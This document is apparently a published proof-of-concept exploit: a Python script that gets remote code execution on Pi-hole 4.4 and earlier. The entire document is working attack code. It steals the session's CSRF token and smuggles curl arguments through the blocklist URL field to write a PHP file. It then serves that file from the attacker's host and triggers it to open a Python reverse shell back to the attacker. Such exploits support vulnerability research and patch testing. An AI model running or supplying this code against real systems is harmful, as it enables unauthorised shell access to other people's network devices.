Pi-hole 4.4 Remote Code Execution

`#!/usr/bin/env python3  
  
# Pi-hole <= 4.4 RCE  
# Author: Nick Frichette  
# Homepage: https://frichetten.com  
#  
# Note: This exploit must be run with root privileges and port 80 must not be occupied.  
# While it is possible to exploit this from a non standard port, for the sake of   
# simplicity (and not having to modify the payload) please run it with sudo privileges.  
# Or setup socat and route it through there?  
  
import requests  
import sys  
import socket  
import _thread  
import time  
  
if len(sys.argv) < 4:  
print("[-] Usage: sudo ./cve.py *Session Cookie* *URL of Target* *Your IP* *R Shell Port* *(Optional) root*")  
print("\nThis script will take 5 parameters:\n Session Cookie: The authenticated session token.\n URL of Target: The target's url, example: http://192.168.1.10\n Your IP: The IP address of the listening machine.\n Reverse Shell Port: The listening port for your reverse shell.")  
exit()  
  
SESSION = dict(PHPSESSID=sys.argv[1])  
TARGET_IP = sys.argv[2]  
LOCAL_IP = sys.argv[3]  
LOCAL_PORT = sys.argv[4]  
  
if len(sys.argv) == 6:  
ROOT = True  
  
# Surpress https verify warnings  
# I'm asuming some instances will use self-signed certs  
requests.packages.urllib3.disable_warnings()  
  
# Payload taken from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet  
# I opted to use the Python3 reverse shell one liner over the full PHP reverse shell.  
payload = """<?php  
shell_exec("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"%s\\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);'")  
?>  
""" %(LOCAL_IP, LOCAL_PORT)  
  
def send_response(thread_name):  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.bind((LOCAL_IP,int(80)))  
sock.listen(5)  
  
connected = False  
while not connected:  
conn,addr = sock.accept()  
if thread_name == "T1":  
print("[+] Received First Callback")  
conn.sendall(b"HTTP/1.1 200 OK\n\nstuff\n")  
else:  
print("[+] Received Second Callback")  
print("[+] Uploading Payload")  
conn.sendall(bytes(payload, "utf-8"))  
conn.close()  
connected = True  
  
sock.close()  
  
_thread.start_new_thread(send_response,("T1",))  
  
  
# Fetch token  
resp = requests.get(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, verify=False)  
response = str(resp.content)  
token_loc = response.find("name=\"token\"")  
token = response[token_loc+20:token_loc+64]  
  
  
# Make request with token  
data = {"newuserlists":"http://"+LOCAL_IP+"#\" -o fun.php -d \"","field":"adlists","token":token,"submit":"saveupdate"}  
resp = requests.post(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, data=data, verify=False)  
if resp.status_code == 200:  
print("[+] Put Stager Success")  
  
  
# Update gravity  
resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)  
  
  
time.sleep(3)  
_thread.start_new_thread(send_response,("T2",))  
  
  
# Update again to trigger upload  
resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)  
  
print("[+] Triggering Exploit")  
try:  
requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/fun.php", cookies=SESSION, timeout=3, verify=False)  
except:  
# We should be silent to avoid filling the cli window  
None  
`